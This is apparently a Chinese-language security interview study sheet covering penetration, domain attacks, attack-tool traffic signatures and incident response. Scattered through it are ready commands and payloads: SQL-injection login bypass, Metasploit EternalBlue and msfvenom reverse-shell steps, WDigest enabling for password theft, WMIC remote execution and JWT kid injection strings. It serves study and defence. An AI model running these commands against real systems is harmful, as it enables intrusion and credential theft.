安全知识汇总
梳理网络安全知识点为自己查漏补缺。
信息收集
你是如何做资产信息收集的?
即查找目标所有的暴露面
1)企业组织架构信息收集(域名、APP和小程序、子公司和对外投资、供应商)
2)子域名枚举(自己开发工具-被动收集加主动爆破)
3)IP资产梳理(准确IP全端口、C段常见端口、目标开放服务和Web应用指纹识别)
4)目录扫描(后台、备份文件、敏感页面、未授权接口)
5)敏感信息(文档、Github搜源码、Google hacker)
如何绕过网站CDN获取真实IP?
1)空间搜索引擎(title="xxx"、cert="xxx.com"、icon_hash="xxx")
2)解析子域名,或许有没上CDN的
3)让服务器主动发起请求(SSRF漏洞、注册让其发邮件)
如何判断高交互蜜罐?
1)一般蜜罐里面 F12 被禁用(Debug)
2)网络一直发送HTTP请求给Jsonp
只有一个登录框如何渗透测试?
1)SQL注入万能密码 ( admin' or 1=1 --
)
2)弱口令爆破
3)目录扫描,分析JS代码查找敏感信息
4)目录遍历,Crtl+u
查看源码,访问静态文件目录尝试遍历目录
5)逻辑漏洞(任意用户注册、改返回包绕过前端登录验证)
如果给你一个网站你如何判断后端是什么数据库?
1)通过开放端口判断
2)通过网站开发使用的技术栈判断
3)尝试让网站报数据库语法错误判断
常见技术栈组合如下
PHP + MySQL + Apache
ASP + MSSQL + IIS
JSP + Oracle + Tomcat
漏洞利用
Redis未授权访问如何利用,利用条件是什么?
利用条件:
当redis以root账户运行,无密码或者弱密码认证,并且绑定0.0.0.0可非本机访问的情况下;
Linux利用方式
上传SSH公钥登录SSH,原理是在redis中插入一条数据;
在Web目录写Webshell;
Crontab定时任务反弹shell;
利用slave主从复制实现RCE远程命令执行;
Windows利用方式
Web目录写Webshell
写入启动项(需重启)
写入MOF(仅限03系统)
防御措施
1、降权运行redis
2、使用复杂的密码
3、限制IP禁止外网访问
4、另外redis默认不生成日志,可以自己配置来生成日志
redis getshell中什么样的操作比较危险?
主从复制getshell的时候全量复制可能会覆盖原有数据。
IIS有哪些历史漏洞?
1)IIS 6.0 PUT文件上传漏洞
开启WebDAV服务、网站目录允许来宾用户写入可用IISPutScanner工具上传文件
2)IIS6.0 解析漏洞
基于文件
IIS6.0默认不解析
;
号后面的内容,例如1.asp;.jpg
会当成1.asp
解析,相当于分号截断。基于文件夹
IIS6.0会将
/*.asp/
文件夹下的文件当成asp解析。
3)IIS7.0/7.5 解析漏洞
IIS7.*在FastCGI运行php的情况下,php默认配置cgi.fix_pathinfo=1
,导致在任意文件后面添加/.php
,服务器就会解析成php。
IIS对应windows系统版本
Windows Server 2003 #IIS 6.0
Windows Server 2008 SP2,SP3 #IIS 7.0
Windows Server 2008 R2 #IIS 7.5
Windows Server 2012 #IIS 8.0
Windows Server 2012 R2 #IIS 8.5
windows Server 2016 #IIS 10
有哪些解析漏洞?
Apache解析漏洞
Apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断。
如 test.php.rar 会被apache解析成php
Nginx <8.03 空字节代码执行漏洞
影响版本:0.5.,0.6,0.7 <= 0.7.65,0.8 <= 0.8.37
在图片中嵌入PHP代码然后通过访问,来执行其中的代码
xxx.jpg%00.php
IIOP听说过吗,和什么类似?
java RMI通信,也就是远程方法调用,默认是使用jrmp协议,也可以选择IIOP
Java/PHP反序列化产生原因,如何防御?
由于Java序列化机制的特殊性质,攻击者可以在序列化和反序列化的过程中注入恶意代码
- 不受信任的数据来源:如果应用程序接受来自不受信任的数据源(例如网络输入或文件输入)
- 反序列化过程中缺乏验证:在反序列化对象时,应用程序可能没有对反序列化数据进行验证
以下是一些可能的防御措施:
- 限制应用程序接受数据的来源,避免来自不受信任的数据源的输入
- 在反序列化数据时,对数据进行验证,并拒绝不合法的数据
- 在序列化和反序列化数据时,使用加密算法加密数据,从而保护数据不被攻击者操纵
- 使用安全的Java序列化库,例如Google的Gson,这些库支持反序列化过程中对数据进行验证
- 及时更新和修补应用程序和操作系统,以修复已知的安全漏洞和弱点,减少攻击者利用漏洞的机会
JNDI注入的原理
JNDI(JavaNaming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,JNDI规范允许我们通过对象的名称来访问这个数据源对象,而该对象可能储存在不同的命名或目录服务中,例如JDBC、LDAP、RMI、DNS、NIS、CORBA。
其应用场景比如:动态加载数据库配置文件,从而保持数据库代码不变动等
JNDI注入通过远程加载远程class执行恶意代码
攻击者可以通过构造恶意的JNDI URL(Uniform Resource Locator),将恶意对象注册到JNDI目录服务器中,并在Java应用程序中使用该URL来获取对象,从而导致恶意代码执行。
MS17-010 Enternal Blue 这个漏洞你怎么利用?
MSF反弹shell
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
show targets #修改设置参数
show options #修改设置参数
exploit
权限提升
如何提升系统权限?
Windows
1)查看系统补丁,用类似 CVE-2020-0787 这些系统漏洞提权
2)BypassUAC
3)烂土豆提权
Linux
Sudo滥用提权
SUID提权
内核漏洞提权(脏牛)
简单说下烂土豆提权提权原理?
- 烂土豆使用NTLM(NT LAN Manager)身份验证协议进行远程过程调用(RPC)连接。
- 烂土豆会创建一个伪造的RPC服务,并设置服务的安全描述符为允许系统管理员级别的权限。然后创建一个DCOM(Distributed Component Object Model)对象,并连接到伪造的RPC服务。
- Windows会检查连接的安全描述符,由于设置了管理员级别的权限,Windows会将DCOM对象连接的进程升级为管理员权限,从而实现提权。
UAC是如何进行鉴权校验的? BypassUAC的常见方法有哪些?
UAC通过访问控制列表(ACL)实现用户访问控制,ACL决定了拥有何种权限的用户/进程能访问某资源。
1)利用白名单程序
2)DLL劫持
3)COM劫持
请简述脏牛漏洞提权的原理?
该漏洞的原因是get_user_page内核函数在处理Copy-on-Write(以下使用COW表示)的过程中,
可能产出竞态条件造成COW过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会。
当我们向带有MAP_PRIVATE标记的只读文件映射区域写数据时,会产生一个映射文件的复制(COW),对此区域的任何修改都不会写回原来的文件,
如果上述的竞态条件发生,就能成功的写回原来的文件。比如我们修改su或者passwd程序就可以达到root的目的。
MySQL提权的方式有哪些?利用条件?
MOF提权
root账户
03系统
mof目录可写
secure_file_priv为空表示对mysql导入导出不做限制 在my.ini可以配置
UDF提权
Create function 调用udf.dll,以系统权限执行系统命令
SQL Server提权的方式有哪些?
xp_cmdshell
SP_OACreate
Openrowset沙盒
SQL Server代理执行计划任务
CLR公共语言运行时通过.NET程序调用powershell执行系统命令
假设SQL Server为sa权限,如何不通过xp_cmdshell执行系统命令?
1)有.net环境可以使用SQL Server的CLR(Common Language Runtime)功能创建一个CLR存储过程,其中使用C#编写的代码调用PowerShell来执行所需的系统命令。
2)安装了SQL Server Agent,可以创建一个作业(Job),在作业中设置步骤以执行所需的系统命令。使用sp_start_job
存储过程来启动该作业,从而执行系统命令。
权限维持
Linux有哪几种后门实现方式?
ssh软链接后门
增加超级用户帐号
SSH公钥登陆
Crontab定时任务
Rootkit工具包
ssh软链接后门的原理是什么,可以通过该原理构造其他后门吗?
/etc/pam.d/su
中的pam_rootok.so
使得UID为0的用户可以无需密码直接通过认证。
当通过特定端口连接SSH后,软链接文件为/tmp/su
,应用就会寻找到/etc/pam.d/su
作为配置文件,从而可以实现无密码登陆。
Windows有哪几种后门实现方式?
映像劫持Shift
添加影子账户
木马加入开机启动项
通道构建
常用哪些方式构建内网通道?
SSH高权限端口转发
FRP反向代理
目标不出网的情况下如何做内网通道,是什么原理?
Neo-reGeorg正向代理
其原理为在本地建立监听,提供socket服务,将数据通过http/https传递到webshell上做中转
服务端通信原理是通过session来接收socket转发收到的内容
横向渗透
你有一个webshell但无法执行系统命令,无法上传,怎么进行内网渗透?
假设这两个问题无法解决。
1)翻阅配置文件查找敏感信息
2)再通过漏洞点上传一个正向代理的webshell,尝试向内网其它脆弱资产横向移动
你横向渗透的常用手法有哪些?
抓hash和明文密码 -> hash传递和内网密码喷洒
翻阅配置文件查找敏感信息
获取历史凭证(history、浏览器、RDP连接凭证、xshell连接凭证)
弱口令
Web应用漏洞
系统漏洞ms17010
目标只开了139端口能否利用永恒之蓝?
需要使用445端口的SMB文件共享服务,以ms17_010为例我试过关闭445是不行的
内网渗透怎么获取服务器账号密码?
1)mimkatz抓hash和明文密码
2)翻阅配置文件,历史记录
3)密码喷洒:同密码重复利用
4)暴力破解弱口令
Mimikatz抓密码原理?
- 进程注入:
- Mimikatz通过利用Windows进程注入技术,将自身的代码注入到
lsass.exe
进程中
- Mimikatz通过利用Windows进程注入技术,将自身的代码注入到
- 抓取凭据:
- 一旦Mimikatz成功地注入到目标进程中,它就可以访问该进程的内存空间,以获取其中保存的凭据信息。lsass.exe进程是Windows操作系统中的身份验证进程,负责处理用户登录的凭据。
如果目标用户在线则能提取到明文密码,或者提取到NTLM哈希值去离线解密。
不用mimikatz怎么抓明文密码?
DumpMinitool或者注册表导出hash,然后彩虹表离线破解。
彩虹表是通过预先计算大量的密码和其对应的哈希值,并将它们存储在一个巨大的数据表中,以便在需要时快速进行哈希值的反查找。
Server 12限制了抓明文密码,怎么绕过?
改注册表开启Wdigest+rundll32强制锁屏+等管理员重新登录即可抓
哪个补丁导致了mimikatz无法利用,如何绕过?
原理是从lsass进程抓取内存
Windows Server 2012 之后的版本默认关闭Wdigest
,无法从内存中获取明文密码。
2012之前的版本安装了KB2871997
,同样无法获取明文密码
开启和关闭Wdigest的命令
#开启,值为1
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
#关闭,值为0
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
有哪些横向执行命令的方法?
psexec
wmic
net use共享+计划任务+type命令
psexec的底层实现原理是什么?
命名管道连接SMB共享
psexec和wmic的区别?
psexec会记录大量日志,wmic不会记录下日志,更为隐蔽。
横向渗透中,wmic如何构造有回显的命令执行?
WMIC进程调用把命令执行结果重定向到一个文本文件
#WMIC进程调用
WMIC /Node:192.168.1.120 /user:administrator /password:admin123 Process Call Create "cmd /c whoami > C:\Users\Public\Videos\out.txt"
#利用type查看结果
net use \\192.168.159.130\c$
type \\192.168.1.120\c$\Users\Public\Videos\out.txt
桌面有管理员会话,想要做会话劫持怎么做?
首先提权到system权限,能够劫持任何处于已登录用户的会话,而无需获得该用户的登录凭证
#查询已登陆的用户会话
quser
#劫持用户会话
tscon ID /dest:console
你入侵了一台非域成员主机,如何快速定位到其它域成员主机?
PowerView 枚举域内登陆的用户
Import-Module .\powerview.ps1
Invoke-UserHunter
如何查询域管登录过的机器,查询原理又是什么?
定位域管两种手段:日志和会话。
psloggedon工具查询,原理是检测注册表中HKEY_USERS的key值、调用了NetSessionEnum的API来判断谁登录过哪台机器。
域控开放的常见端口有哪些?
53 #DNS Server
88 #KDC 密钥分发中心
389 #LDAP 轻量目录访问协议
445 #SMB
如何查询域之间的信任关系?
nltest /domain_trusts
内网KDC服务器开放在哪个端口,针对kerbores的攻击有哪些?
哈希传递(PTH)、票据传递、金银票后门
你是域成员,如何拿到域控制器?
定位域控 net time /domain、 net group "domain controllers" /domain
1)通过抓取域管登陆服务器的hash(不断抓HASH+PTH攻击)
2)通过运维人员不恰当的密码管理(弱口令、Wiki系统等记录域高权限账户)
3)通过委派来获取域控权限
4)通过NTLM中继
5)通过域控相关的漏洞(ms14068、Zerologon、NoPAC、Print Spooler)
内网渗透拿到了域控制器怎么维持权限?
黄金票据后门
通过卷影拷贝导出ntds.dit获取域内所有用户hash
黄金票据是什么?
在域中,每个用户账号的票据都是由Krbtgt生成的,这个账号的密码,储存在域控服务上 。
TGT票据,因为它是由域账号krbtgt
的NTLM Hash
加密和签名的
伪造TGT票据跳过kerberos认证服务器认证过程获取任意server票据
Wndows内网中NTLM协议认证过程?
- 客户端请求认证: 用户在客户端系统上尝试访问资源(例如共享文件夹)。客户端会发送一个认证请求到服务器。
- 服务器返回随机数: 服务器收到认证请求后,会生成一个随机数(称为Challenge),然后将其发送回给客户端。
- 客户端响应: 客户端接收到服务器发送的Challenge后,会使用用户的密码和Challenge进行一系列计算,生成一个值,这个值被称为“Response”。
- 客户端发送响应给服务器: 客户端将生成的Response发送回服务器作为答复。
- 服务器验证: 服务器收到客户端发送的Response后,会使用存储在服务器上的用户密码的散列值来执行相同的计算。然后,服务器会比较客户端计算得到的Response和自己计算得到的Response是否匹配。
- 服务器向域控制器验证: 如果服务器上的密码散列与客户端计算得到的Response匹配,服务器会向域控制器发送请求,请求确认该用户的密码是正确的。
- 域控制器验证: 域控制器收到验证请求后,会将存储在Active Directory中的用户密码散列值与服务器发送的Response进行比较,以确认密码是否正确。如果一致,域控制器会向服务器发送确认信息。
- 服务器授权访问: 一旦域控制器确认用户的密码正确无误,服务器会授予用户访问请求资源的权限。
NTLM relay的攻击场景有哪些,使用NTLM relay会受到哪些限制?
攻击场景:Pass-the-Hash (PtH) 、Pass-the-Ticket (PtT)
限制:SMB签名禁用
Windows中如何鉴别用户身份? SID是什么? 基于SID的SID History攻击原理是什么?
SID安全标识符(Security Identifier),是Windows操作系统用于标识用户、组和计算机的唯一标识符
wmic useraccount get Caption,sid
SID History攻击是一种利用Windows Active Directory中对象的SID历史属性进行攻击的方法。
当域内的对象(如用户、组)进行跨域移动时,会保留其原始的SID,并在目标域中创建一个新的SID。同时,原始SID将添加到目标域对象的SID历史属性中。这是为了确保跨域移动的对象能够继续访问先前授予其权限的资源。攻击者可以利用SID History属性来进行横向渗透和提权。
攻击原理如下:
- 获取目标域对象的SID History: 攻击者首先需要获取目标域中感兴趣的用户或组的SID History属性。这可能涉及到信息收集和对目标域探测。
- 在攻击域中伪造SID: 接下来,攻击者会在自己控制的域中创建一个与目标域中用户或组的SID History相匹配的伪造SID。
- 构造访问令牌: 攻击者使用伪造的SID构造一个访问令牌(access token)。访问令牌是用于表示身份和权限的数据结构,在Windows中用于控制对资源的访问。
- 尝试访问目标资源: 使用伪造的访问令牌,攻击者尝试访问目标域中的资源。如果目标域没有适当的安全措施来防止SID History攻击,那么攻击者可能会成功获取资源的访问权限。
SID History攻击的防御措施包括:
- 限制SID History的使用: 最好限制SID History的使用,仅在必要时才允许使用它,以减少横向渗透的风险。
- 监控事件日志: 监控Windows事件日志,特别是关于安全主体的事件,可以帮助及早发现潜在的SID History攻击。
- 强化域边界: 在网络边界和域边界实施安全策略,限制域之间的通信,可以帮助减少横向渗透的可能性。
- 定期审查权限: 定期审查和清理域中的权限,删除不再需要的SID History,以及细化权限设置,可以提高安全性。
研判分析
100台机器如何判断哪台被log4j攻击成功?
1、确认资产属性,哪部分使用了log4j的相关组件,排除无关联资产
2、检索攻击成功的事件日志,查看响应体里的内容是否命令执行了或带有敏感数据
全流量设备没有告警,没有样本,怎么找到攻击样本?
1)流量不全或者设备规则库未覆盖到相关的资产
2)可能攻击本来就是没有文件落地,根本没有样本
3)在其它设备上或者失陷主机上查看应用请求日志
如何判断被搭建了什么隧道
1)ICMP隧道数据包中DATA 往往大于64 比特,部分隧道工具会显示tun的标志
2)SOCKS某些隧道存在一些固定16进制特征,或者通过安全设备告警排查
如何排查JAVA内存马?
1)查看Web日志,filter或者listener类型的内存马,会有页面不存在但是返回200的请求
2)内存马的Filter是动态注册的,所以在web.xml中可能没有配置
3)内存马就是代码驻留内存中,本地无对应的class文件。所以我们只要检测Filter对应的ClassLoader目录下是否存在class文件。
流量特征
CobaltStrike
1)checksum8
运行staging模式的pe文件,会向指定服务器的checksum8路径发起请求来下载stage。
stage是包含了很多功能的代码块,用于接受和执行控制端的任务并返回结果。
其中HTTP请求路径符合checksum8规则,路径的ascii之和与256取余计算值等于92或93。
32位后门是92,64位后门是93。
2)JA3/JA3s
ja3和ja3s分别代表tls握手阶段的client-hello、server-hello的数据集合计算出的哈希值(md5),相同版本相同系统下指纹相同,该特征与操作系统、cobaltstrike版本有关,profile文件无法对其修改。
72a589da586844d7f0818ce684948eea
fd4bc6cea4877646ccd62f0792ec0b62
72a589da586844d7f0818ce684948eea
652358a663590cfc624787f06b82d9ae
4d93395b1c1b9ad28122fb4d09f28c5e
a0e9f5d64349fb13191bc781f81f42e1
ae4edc6faf64d08308082ad26be60767
fd4bc6cea4877646ccd62f0792ec0b62
b742b407517bac9536a77a7b0fee28e9
Metasploit
1)默认使用4444端口作为反向连接端口
2)数据包通常包含特定字符串("meterpreter"、"revshell"等)
FRP
1)Frpc 在连接认证 Frps 的时候,会进行三次握手,会把 Frp 的版本信息发给 frps 进行认证
Version、Arch、User、Privilege_key 等字段
NPS
1)nps的认证过程三次握手客户端向服务器发送两次version的值和一次TST字段
蚁剑
每个请求体都存在以 @ini_set("display_errors","0"); @set_time_limit(0)开头。
并且响应体的返回结果是base64编码发混淆字符
哥斯拉
1)payload特征
jsp会出现xc,pass字符和Java反射,base64加解码等特征,php,asp则为普通的一句话木马
2)Cookie
Cookie字段,最后一个Cookie的值出现;(尾值出现分号)
冰蝎
1)冰蝎1.0
有一个密钥协商过程,这个过程是明文传输,并且有两次流量,用来校验
2)冰蝎2.0
使用 AES加密 + base64编码 ,AES使用动态密钥对通信进行加密,进行请求时内置了十几个User-Agent头,每次请求时会随机选择其中的一个。
因此当发现一个ip的请求头中的user-agent在频繁变换,就可能是冰蝎。
3)冰蝎3.0
使用 AES加密 + base64编码 ,取消了2.0的动态获取密钥,使用固定的连接密钥,AES加密的密钥为webshell连接密码的MD5的前16位,默认连接密码是"rebeyond"(即密钥是md5('rebeyond')[0:16]=e45e329feb5d925b)。
进行请求时内置了十几个User-Agent头,每次请求时会随机选择其中的一个。
3.0连接jsp的webshell的请求数据包中的content-type字段常见为application/octet-stream。
4)冰蝎4.0
提供了传输协议自定义的功能,让用户对流量的加密和解密进行自定义,实现流量加解密协议的去中心化。
4.0版本不再有连接密码的概念,自定义传输协议的算法就是连接密码。
与冰蝎的前述版本相似,进行请求时内置了十几个User-Agent头,每次请求时会随机选择其中的一个。
连接的端口有一定的特征,冰蝎与webshell建立连接的同时,java也与目的主机建立tcp连接,每次连接使用本地端口在49700左右(就是比较大的端口),每连接一次,每建立一次新的连接,端口就依次增加。
使用长连接,避免了频繁的握手造成的资源开销。
默认情况下,请求头里会带有 Connection:Keep-Alive
有固定的请求头和响应头
请求字节头:dFAXQV1LORcHRQtLRlwMAhwFTAg/M
响应字节头:TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEd
默认时,冰蝎 webshell都有“e45e329feb5d925b” 一串密钥,与冰蝎3.0相同。
应急响应
一台服务器被植入Webshell怎么办?
1、清除Webshell:扫描网站目录,查找Webshell的位置,并删除
2、Web日志审计:根据Webshell创建时间,分析可疑的Web访问,找到漏洞位置,复现漏洞
3、修复漏洞,检查系统日志查看其它恶意活动,对服务器和Web应用进行安全加固
服务器被植入挖矿病毒如何应对?
1)分析网络流量找到挖矿病毒的进程和对外连接地址
2)根据挖矿病毒进程找到病毒文件样本,上传沙箱分析钱包地址
3)完全清除病毒样本加固服务器
Linux基线加固思路?
删除或禁用不必要账户( userdell、passwd -l )
检查是否存在空口令和root权限的账户
awk -F: ‘($2==””)’ /etc/passwd
awk -F: ‘($3==0)’ /etc/passwd
添加口令策略 (chage -m 0 -M 30 -E 2000-01-01 -W 7),设置密码输错锁定
限制能su到root的用户(vi /etc/pam.d/su)
禁止root用户直接登录
关闭不必要的服务 ( systemctl disable 服务名)
加固SSH服务 ( 使用协议版本2,修改密码允许错误次数为3 )
设置umask 027 (vi /etc/profile),即属主有全部权限,同用户组能读和执行,其它无权限;
设置登陆超时,(vi /etc/profuile),TMOUT=180,登录三分钟后超时。
开启日志功能,syslogd日志(系统日志 /var/log/messages,安全日志 /var/log/secure);
IPS和IDS的区别?
常见网络安全设备
设备 | 功能 | 部署方式 |
---|---|---|
IDS | 入侵检测系统(基于流量检测攻击) | 旁路 |
IPS | 入侵防御系统(基于入侵行为库阻断攻击) | 串联 |
FireWall | 防火墙(隔离网络边界控制数据交互) | 串联 |
WAF | Web应用防火墙(基于规则阻断针对Web应用的攻击) | 串联 |
GAP | 网闸(信息交换与安全隔离,逻辑隔离) | 串联 |
FGAP | 光闸(单项信息传输,逻辑隔离) | 串联 |
堡垒机 | 运维安全审计系统(身份验证、账号管理、授权控制、安全审计) | 旁路 |
DBAudit | 数据库审计(实时记录网络上的数据库活动) | 流量镜像 |
AV/EDR | 终端安全(基于特征和行为等查杀危险程序和进程) | 终端安装 |
SOC | 安全运营中心(协调所有安全技术提高检测、响应和预防能力) |
AV和EDR有何区别?
AV(Antivirus)是传统的安全防护技术,它主要依靠已知的病毒特征库来检测和防御病毒。
当一个文件被扫描时,AV软件会将其与病毒特征库中的已知病毒特征进行比较。
如文件与任何一个已知的病毒特征匹配,AV将标记该文件为恶意软件并采取适当的措施来保护系统。
EDR(Endpoint Detection and Response)则是一种新兴的安全防护技术,它不仅能够检测已知的病毒,还可以发现和响应未知的威胁。
EDR软件在主机上运行,收集和分析主机的行为和活动数据,以便发现恶意活动。
EDR技术利用机器学习和人工智能等高级技术来识别异常行为,并使用防御措施来保护系统。
从主机的层面,反弹shell如何监控?
黑客一般会从最简单的TCP协议的反弹shell尝试
所以HIDS首先要监控基于TCP协议的输入流和输出流重定向流量
Linux 中让命令在后台运行的方法有哪些?
在命令后加**&,已在前台运行的用crtl+z**暂停,然后用bg将作业放到后台;
jobs -l可查看作业队列;fg可恢复到前台运行;
nohub ./test.sh & #守护进程
Rootkit的种类有哪些,针对不同种类的Rootkit应该如何防护以及检测?
固件Rootkit
虚拟化Rootkit
内核级Rootkit
库级Rootkit
应用级Rootkit
Rootkit通过加载特殊驱动,修改系统内核隐藏自身及指定文件、进程和网络链接等。
可以使用chkrootkit工具检测,定期检查MD5、更新软件、安装杀软等方式防护
对于找出的 Rootkit,最好的应对方法便是擦除并重新安装系统
安全开发&工具
Nmap扫描方式有哪几种?怎么扫描快?
-sT #TCP全连接扫描
-sS #TCP SYN半连接扫描 ()
-sU #UDP
-sA #ACK
-sF #FIN
-T4 #设置时序模板越高越快
MSF有哪些模块?
辅 助 模 块 (Auxiliary,扫描器) | 扫描主机系统,寻找可用漏洞; |
---|---|
渗透攻击模块 (Exploits) | 进行漏洞利用攻击; |
攻击载荷模块 (Payloads) | 生成攻击载荷(木马); |
后渗透攻击模块 (Post) | 用于内网渗透的各种操作; |
编 码 器 模 块 (Encoders) | 选择编码技术,绕过杀软(或其他免杀方式) |
所有模块位置:**/usr/share/metasploit-framework/modules/
MSF如何生成木马建立监听?
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
set LHOST
set LPORT
run
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=8089 -f dll > shell.dll
SQLmap注入怎么用?
sqlmap -r bp.txt
子域名挖掘如何处理泛解析?
泛解析定义
泛域名解析是一种特殊的域名解析方式,它使用通配符*形式,设置域名解析。
它可以将没有明确设置的子域名一律解析到一个IP地址上。
这样,即使用户输入错误的子域名,也可以访问到域名持有者指定的IP地址。
但是信息收集中,这会造成请求的所有子域名都能访问的假象,从而收集到一堆无效的子域名。
Onforall的处理方法
1)随机生成3个子域名做DNS解析
2)如果没有都解析成功证明不是泛解析,都解析成功的话做HTTP请求判断
3)HTTP访问都成功则不是泛解析,反之则计算两两响应页面的相似度
4)有一组相似判断为不是泛解析,都不相似就是泛解析
自己的实现
1)用一个绝对不存在的子域名去解析A记录,如有记录则存在泛解析
2)用不存在的子域名提取CNAME记录,作为泛解析对比标志
3)接下来的流程用Lookupcname解析剩余子域名,与泛解析标志做对比,如果不一样并且不为空则此子域名存在
Go编写的端口扫描器在Linux平台漏报原因?
Golang的net.DialTimeout
这个函数最终其实就是调用linux socket
而linux中任何东西都是文件,同时linux默认允许同时打开的文件数是1024
协程数量大于1024就会导致socket链接建立失败,漏报大量端口
将open files数量设置大一点即可
ulimit -n 10000 #临时解决办法,当前终端生效
#永久生效方法
echo "* soft nofile 65533" >> /etc/security/limits.conf
echo "* hard nofile 65533" >> /etc/security/limits.conf
echo session required /lib/security/pam_limits.so >> /etc/pam.d/login
#重启系统
Ajax发送POST请求会发几个数据包?
两个,一个OPTIONS预请求,一个发送数据的请求
HTTPS连接建立过程?
1、客户端发送支持的加密协议版本(TLS)
2、服务器从中筛选合适的加密协议版本
3、服务器端返回证书,证书中有公钥
4、客户端使用根证书验证证书合法性
5、客户端生成对称密钥,通过证书中的公钥加密,发送到服务端
6、服务端使用私钥解密,获取对称密钥,使用对称密钥加密数据
7、客户端解密数据,SSL加密通信建立,开始通信......
Cookie和Session有什么区别 ,后端Session是如何进行保存的?
Cookie保存在客户端,Session保存在服务端。
- 创建唯一的Session ID,将其关联到用户请求。
- 在服务器端创建一个对应的Session对象,用于存储和管理与该Session ID相关的数据。
- 将Session ID发送到客户端,通常通过Cookie或URL重写。
- 在后续的用户请求中,服务器通过Session ID来查找和恢复对应的Session对象,从而实现数据读取和写入。
JWT Token是什么,有什么安全上的风险?
JWT(JSON Web Token)是一种用于身份验证和授权的开放标准,用于在不同系统之间传输信息。
JWT由三个部分组成,这些部分使用点(.)分隔。
header.payload.signature
- Header(头部): 包含有关JWT的元数据和算法信息。它通常包含两个字段:
alg
(用于指定用于签名的算法,例如HMAC SHA256或RSA)和typ
(类型,通常值为"JWT")。 - Payload(负载): 包含要传输的数据。Payload中的数据称为声明(claims),声明是有关实体(通常是用户)和其他数据的声明。声明分为三种类型:注册声明(注册的声明名称,例如"iss"表示签发者),公共声明(预定义的声明名称,但不强制,例如"sub"表示主题),和私有声明(自定义声明名称)。
- Signature(签名): 用于验证消息的完整性和身份验证。签名使用Header中指定的算法以及一个密钥,将Header和Payload进行签名。签名是将Header、Payload和密钥结合在一起通过指定算法生成的哈希值。
JWT Token的优点:
- 简单:由于信息是以JSON格式存储的,因此易于解析和处理。
- 自包含:所有必要的信息都包含在Token本身中,无需查询数据库。
- 可扩展:可以添加自定义声明来满足特定需求。
安全上的风险:
- JWT Token伪造: 如果JWT Token中的Payload部分是可以被用户篡改的,攻击者可能会修改Token中的数据以获取未授权的权限(改用户名和ID获取对应权限,需要知道密钥,密钥一般硬编码在源码里)。
- Token过期问题: JWT可以设置过期时间(exp)来限制Token的有效期,如果过期时间太长,增加了泄露风险。攻击者可以使用它来冒充用户或访问受保护的资源。
- JWT None攻击:JWT支持使用空加密算法,可以在header中指定alg为
None
。这样的话,只要把signature设置为空(即不添加签名字段),提交到服务器,任何token都可以通过服务器的验证。 - KID参数:
kid
是jwt header中的一个可选参数,全称是key ID
,它用于指定加密算法的密钥。
任意文件读取
kid
参数用于读取密钥文件,但系统并不会知道用户想要读取的到底是不是密钥文件,所以,如果在没有对参数进行过滤的前提下,攻击者是可以读取到系统的任意文件的。
{
"alg" : "HS256",
"typ" : "jwt",
"kid" : "/etc/passwd"
}
SQL注入
kid
也可以从数据库中提取数据,这时候就有可能造成SQL注入攻击,通过构造SQL语句来获取数据或者是绕过signature的验证
{
"alg" : "HS256",
"typ" : "jwt",
"kid" : "key11111111' || union select 'secretkey' -- "
}
僵尸进程和孤儿进程的区别是什么?
正常情况下子进程由父进程创建,子进程再创建子进程,这是一个异步过程,父进程无法预测子进程的结束,所以子进程结束后它的父进程会调用wait()
或者waitpid()
取得子进程的终止状态,回收子进程资源。
孤儿进程:父进程已经结束,而它的子进程还在运行,这些子进程就是孤儿进程(father died)
孤儿进程的资源由init
守护进程(pid=1)回收,因此孤儿进程没什么危害。
僵尸进程:子进程退出了,父进程没用wait()获取子进程的终止状态信息,子进程描述符还在系统中。
系统中所能使用的进程号是有限的,如果大量产生僵尸进程,将因没有可用的进程号而导致系统无法产生新的进程。可以通过信号机制,子进程退出时向父进程发送SIGCHLD信号解决僵尸进程问题。
暴力解决办法直接杀死其父进程,让init进程接管做资源回收。